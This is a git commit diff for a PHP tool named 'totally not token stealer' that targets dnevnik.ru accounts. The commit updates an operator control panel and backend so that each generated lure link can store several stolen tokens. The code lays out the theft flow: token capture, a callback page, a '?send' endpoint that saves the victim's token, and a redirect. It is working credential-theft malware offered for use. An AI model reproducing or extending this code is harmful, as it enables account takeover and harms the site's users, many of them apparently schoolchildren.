v 1.1.0
Build and Release / build-and-release (push) Successful in 46s

added multiple tokens catch
This commit is contained in:
2026-08-22 17:41:26 +03:00
parent 32885844cd
commit 1abd0d4613
2 changed files with 37 additions and 15 deletions
+10 -3
View File
@@ -527,7 +527,7 @@
</script> </script>
</body> </body>
<script> <script>
/** @param {{error?: string; password: string; data: {name: string; url: string; comment: string; token: string | null}[] }} data */ /** @param {{error?: string; password: string; data: {name: string; url: string; comment: string; tokens: string[]}[] }} data */
const appendData = (data) => { const appendData = (data) => {
if (data.error) { if (data.error) {
document.querySelector("[k-m-error]").innerHTML = renderTemplate( document.querySelector("[k-m-error]").innerHTML = renderTemplate(
@@ -543,8 +543,15 @@
let completedBlocks = []; let completedBlocks = [];
let activeBlocks = []; let activeBlocks = [];
data.data.forEach((item) => { data.data.forEach((item) => {
if (!!item.token) { if (item.tokens.length > 0) {
completedBlocks.push(renderTemplate("complete_row", item)); item.tokens.forEach(token => {
completedBlocks.push(renderTemplate("complete_row", {
name: item.name,
url: item.url,
comment: item.comment,
token
}));
});
} else { } else {
activeBlocks.push( activeBlocks.push(
renderTemplate("active_row", { renderTemplate("active_row", {
+27 -12
View File
@@ -2,7 +2,7 @@
// totally not token stealer // totally not token stealer
// for dnevnik.ru // for dnevnik.ru
// ========================= // =========================
// by ktkz for tmb project // by ktkz
// 2026 // 2026
// go to .php?control to open control panel // go to .php?control to open control panel
@@ -32,8 +32,17 @@ function CONTROL_PAGE(string $data)
if (!file_exists(DATA_FILE_PATH)) { if (!file_exists(DATA_FILE_PATH)) {
file_put_contents( file_put_contents(
DATA_FILE_PATH, DATA_FILE_PATH,
'<?php // { "name": "tnts", "version": 1, "data": [] }', '<?php // { "name": "tnts", "version": 2, "data": [] }',
); );
} else {
$config = readConfig(true);
// migrate config to v2
if ($config['version'] > 2) {
for ($i = 0; $i < count($config['data']); $i++) {
$config['data'][$i]['tokens'] = $config['data'][$i]['token'] !== null ? [$config['data'][$i]['token']] : [];
unset($config['data'][$i]['token']);
}
}
} }
// ROUTER // ROUTER
function path(string $p) function path(string $p)
@@ -41,6 +50,7 @@ function path(string $p)
return count($_GET) > 0 && array_keys($_GET)[0] == $p; return count($_GET) > 0 && array_keys($_GET)[0] == $p;
} }
// open control panel
if (path("control")) { if (path("control")) {
if (!isset($_GET["l"]) || $_GET["l"] == "") { if (!isset($_GET["l"]) || $_GET["l"] == "") {
echo LOGIN_PAGE("{}"); echo LOGIN_PAGE("{}");
@@ -61,14 +71,14 @@ if (path("control")) {
json_encode([ json_encode([
"password" => $_GET["l"], "password" => $_GET["l"],
"data" => $config, "data" => $config,
"error" => $error, "error" => $error,
]), ]),
); );
exit(); exit();
} }
} }
function readConfig() function readConfig(bool $fullConfig = false)
{ {
$_ = json_decode( $_ = json_decode(
str_replace("<?php // ", "", file_get_contents(DATA_FILE_PATH)), str_replace("<?php // ", "", file_get_contents(DATA_FILE_PATH)),
@@ -77,12 +87,12 @@ function readConfig()
if ($_["name"] != "tnts" || !isset($_["data"])) { if ($_["name"] != "tnts" || !isset($_["data"])) {
exit(); exit();
} }
return $_["data"]; return $fullConfig ? $_ : $_["data"];
} }
function saveConfig(array $config) function saveConfig(array $config)
{ {
$_ = ["name" => "tnts", "version" => 1, "data" => $config]; $_ = ["name" => "tnts", "version" => 2, "data" => $config];
file_put_contents(DATA_FILE_PATH, "<?php // " . json_encode($_)); file_put_contents(DATA_FILE_PATH, "<?php // " . json_encode($_));
} }
// config type // config type
@@ -91,12 +101,13 @@ function saveConfig(array $config)
// "name": string, // "name": string,
// "url": string, // "url": string,
// "comment": string?, // "comment": string?,
// "token": string? // "tokens": string[]
// } // }
// } // }
// //
// define status by token presence // define status by token presence
// create link
if ( if (
isset($_GET["do"]) && isset($_GET["do"]) &&
$_GET["do"] === "create" && $_GET["do"] === "create" &&
@@ -106,7 +117,6 @@ if (
if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) { if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) {
exit(); exit();
} }
// create link
$url = $_GET["url"]; $url = $_GET["url"];
$name = $_GET["name"]; $name = $_GET["name"];
$comment = $_GET["comment"] ?? null; $comment = $_GET["comment"] ?? null;
@@ -135,7 +145,7 @@ if (
"name" => $name, "name" => $name,
"url" => $url, "url" => $url,
"comment" => $comment, "comment" => $comment,
"token" => null, "tokens" => [],
]; ];
saveConfig($config); saveConfig($config);
@@ -180,6 +190,8 @@ function getBaseUrl(): string
return $scheme . "://" . $host . $script; return $scheme . "://" . $host . $script;
} }
// step 1
// get token and return back
if (isset($_GET["go"])) { if (isset($_GET["go"])) {
$config = readConfig(); $config = readConfig();
$matches = array_values( $matches = array_values(
@@ -201,11 +213,12 @@ if (path("info")) {
header("Content-type: application/json"); header("Content-type: application/json");
echo json_encode([ echo json_encode([
"name" => "totally not token stealer", "name" => "totally not token stealer",
"version" => "1.0.0", "version" => "1.1.0",
"author" => "ktkz", "author" => "ktkz",
]); ]);
} }
// step 2
// send save page and redirect to destination
if (path("callback") && isset($_GET["name"])) { if (path("callback") && isset($_GET["name"])) {
$base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH); $base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
$config = readConfig(); $config = readConfig();
@@ -226,6 +239,8 @@ if (path("callback") && isset($_GET["name"])) {
exit(); exit();
} }
// step 2.1
// save
if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) { if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
$config = readConfig(); $config = readConfig();
$matches = array_values( $matches = array_values(
@@ -238,6 +253,6 @@ if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
exit(); exit();
} }
$config[array_search($matches[0], $config)]["token"] = $_GET["token"]; array_push($config[array_search($matches[0], $config)]["tokens"], $_GET["token"]);
saveConfig($config); saveConfig($config);
} }